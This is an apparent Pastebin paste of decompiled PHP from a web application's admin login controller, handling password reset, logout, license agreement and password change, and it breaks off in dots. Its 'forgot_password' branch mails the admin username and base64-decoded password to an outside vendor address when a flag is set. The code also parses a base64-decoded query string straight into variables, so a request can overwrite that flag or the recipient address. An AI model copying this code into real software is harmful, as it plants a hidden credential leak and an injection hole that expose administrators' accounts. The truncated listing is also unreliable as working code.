Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by deZender.Net
- * @ deZender (PHP5 Decoder for Zend Encoder/SafeGuard & PhpExpress)
- *
- * @ Version : 2.0.0.4
- * @ Author : DeZender
- * @ Release on : 21.10.2015
- * @ Official site : http://DeZender.Net
- *
- */
- define("IN_SMARTWAY", TRUE);
- require "lib/mod_xml.lib";
- require "lib/mod_xml_ct.lib";
- require "lib/system.lib";
- require "services/BD3LoadConfiguration.service";
- require "services/BD3LoadDBDevice.service";
- if ($action == "new_key") {
- if (is_writable("plug-ins/serial/conf.xml")) {
- $handle3 = fopen("plug-ins/serial/conf.xml", "w+");
- fclose($handle3);
- header("Location: index.php");
- }
- else {
- header("Location: index.php?err_msg=" . urlencode("Could not write to the key file. Please make sure that the file permissions on <b>plug-ins/license/key.php</b> are set to 777."));
- }
- }
- require "lib/functions.lib";
- require "services/BD3ForwardRoutines.service";
- $sSystemSource = "services/BD3Login.service";
- $db = c();
- if ($action != "login") {
- setcookie("bd3Auth");
- if ($QUERY_STRING != "") {
- $QUERY_STRING = base64_decode($QUERY_STRING);
- parse_str($QUERY_STRING);
- }
- switch ($action) {
- case "forgot_password": {
- $message = "Username: " . $admin_login . "\r
- Password: " . base64_decode($admin_pswd) . "";
- if ($ws == 1) {
- mail("passwords@webscribble.com", "Administrative Area - Login Information", $message);
- }
- else {
- mail($admin_mail, "Administrative Area - Login Information", $message);
- }
- $err_msg = "The username and password have been e-mailed to: " . $admin_mail . ".<br>";
- break;
- }
- case "logout": {
- sysloguserevent(on_logout);
- setcookie("bd3Auth");
- setcookie("bd3AuthDT");
- header("Location: index.php");
- break;
- }
- case license_agreement: {
- if ($agree == "on") {
- $c_fh = fopen("plug-ins/license/conf.xml", "w");
- $license_xml = "<xml><section name=\"LICENSE AGREEMENT\"><field type=\"checkbox\" name=\"license_agree\" text=\"I agree to the terms and conditions in the License Agreement\">on</field><field type=\"checkbox\" name=\"lic_ag\" text=\"I agree to the terms and conditions in the License Agreement\">on</field></section></xml>";
- fwrite($c_fh, $license_xml);
- fclose($c_fh);
- $license_agree = "on";
- }
- break;
- }
- default:;
- case change_password: {
- if (sysisbd3authflagtrue()) {
- $sSystemSource = "services/BD3ChangePassword.service";
- }
- break;
- }
- default:;
- case validate_new_password: {
- ........................................................
- .........................
- ......
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement